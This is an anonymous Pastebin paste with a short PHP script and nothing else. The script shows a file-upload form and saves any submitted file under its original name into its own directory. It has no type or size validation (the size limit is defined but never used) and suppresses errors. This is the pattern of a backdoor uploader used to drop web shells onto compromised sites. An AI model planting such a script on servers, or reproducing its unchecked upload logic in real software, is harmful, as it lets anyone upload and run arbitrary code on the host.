SHARE
TWEET

Untitled

a guest Nov 12th, 2019 74 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. if(isset($_POST['Submit'])){
  3. $filedir = "";
  4. $maxfile = '2000000';
  5.  
  6. $userfile_name = $_FILES['image']['name'];
  7. $userfile_tmp = $_FILES['image']['tmp_name'];
  8. if (isset($_FILES['image']['name'])) {
  9. $abod = $filedir.$userfile_name;
  10. @move_uploaded_file($userfile_tmp, $abod);
  11.  
  12. echo"<center><b>Done ==> $userfile_name</b></center>";
  13. }
  14. }
  15. else{
  16. echo'
  17. <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
  18. }
  19. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top